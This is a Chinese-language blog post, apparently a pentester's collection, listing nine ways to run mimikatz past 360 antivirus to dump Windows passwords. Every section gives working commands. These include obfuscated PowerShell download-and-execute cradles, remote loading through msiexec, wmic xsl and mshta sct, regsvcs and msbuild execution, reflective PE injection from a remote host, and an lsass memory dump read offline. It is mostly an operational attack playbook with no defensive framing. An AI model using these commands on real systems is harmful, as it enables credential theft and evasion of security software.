前言
平時收集的一些姿勢,用戶繞過殺軟執行mimikatz，這里以360為例進行bypass 測試。
下載最新版360：
未經處理的mimikatz直接就被殺了
下面開始進行繞過360抓密碼
姿勢一-powershell
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
cmd下執行
C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
也可以遠程加載
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz
但是powershell被360攔截
簡單混淆就bypass了
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
動圖:/article/UploadPic/2018-7/201871316575152.gif
姿勢二-用.net2.0加載mimikatz
作者Casey Smith, Twitter: @subTee
下載
https://gist.githubusercontent.com/nicholasmckinney/896b508b6cf1e8c3e567ccab29c8d3ec/raw/afa7219adbfcdfc160c163273ef8ec61ff0658b4/katz.cs
將katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727
先powoershell執行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Contentkey.snk -Value $Content -EncodingByte
再cmd執行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
動圖:/article/UploadPic/2018-7/201871316579593.gif
姿勢三-JS加載mimikatz
用DotNetToJScript實現
https://github.com/tyranid/DotNetToJScript
mimikatz
https://gist.github.com/500646/14051b27b45dce37818aca915e93062f/raw/2adcc9d2570b4367c6cc405e5a5969863d04fc9b/katz.js
執行cscript mimikatz.js
但是這個方法已經會被一些殺軟標記成惡意軟件，繞過方法參考
https://evi1cg.me/archives/AMSI_bypass.html
姿勢四-msiexec加載mimikatz
作者 homjxi0e
下載
https://github.com/homjxi0e/PowerScript/blob/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi
遠程執行
PS:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestartcmd:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestart
本地執行
msiexec /passive /i C:\Users\Administrator\Downloads\Mimikatz.msi
姿勢五-.net4.0加載mimikatz
作者 subTee
下載mimikatz.xml
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml
執行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exemimikatz.xml
姿勢六-JScript的xsl版
作者 subTee
下載
https:/gist.github.com/manasmbellani/7f3e39170f5bc8e3a493c62b80e69427/raw/87550d0fc03023bab99ad83ced657b9ef272a3b2/mimikatz.xsl
本地加載
wmic os get /format:"mimikatz.xsl"
遠程加載
wmic os get /format:"http://127.0.0.1/mimikatz.xsl"
 姿勢七-jscript的sct版
作者 subTee
下載
https:/gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct
執行
mshta.exe javascript:a=GetObject("script:https://gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct").Exec(); log coffee exit
姿勢八-內存中加載mimikatz
下載
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
執行
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.101/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR
動圖:/article/UploadPic/2018-7/2018713165715106.gif
姿勢九-導出lsass進程離線讀密碼
下載procdump64.exe
執行
procdump64.exe-accepteula-malsass.exe 1.dmp
也可以在任務管理器中操作
然后將1.dmp下載到本地
mimikatz_2.1_64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
總結
1.對比這幾種方式個人還是喜歡導出lsass進程內存方式來讀取密碼。
2.也可以用powershell遠程加載mimikatz腳本讀密碼，簡單方便。
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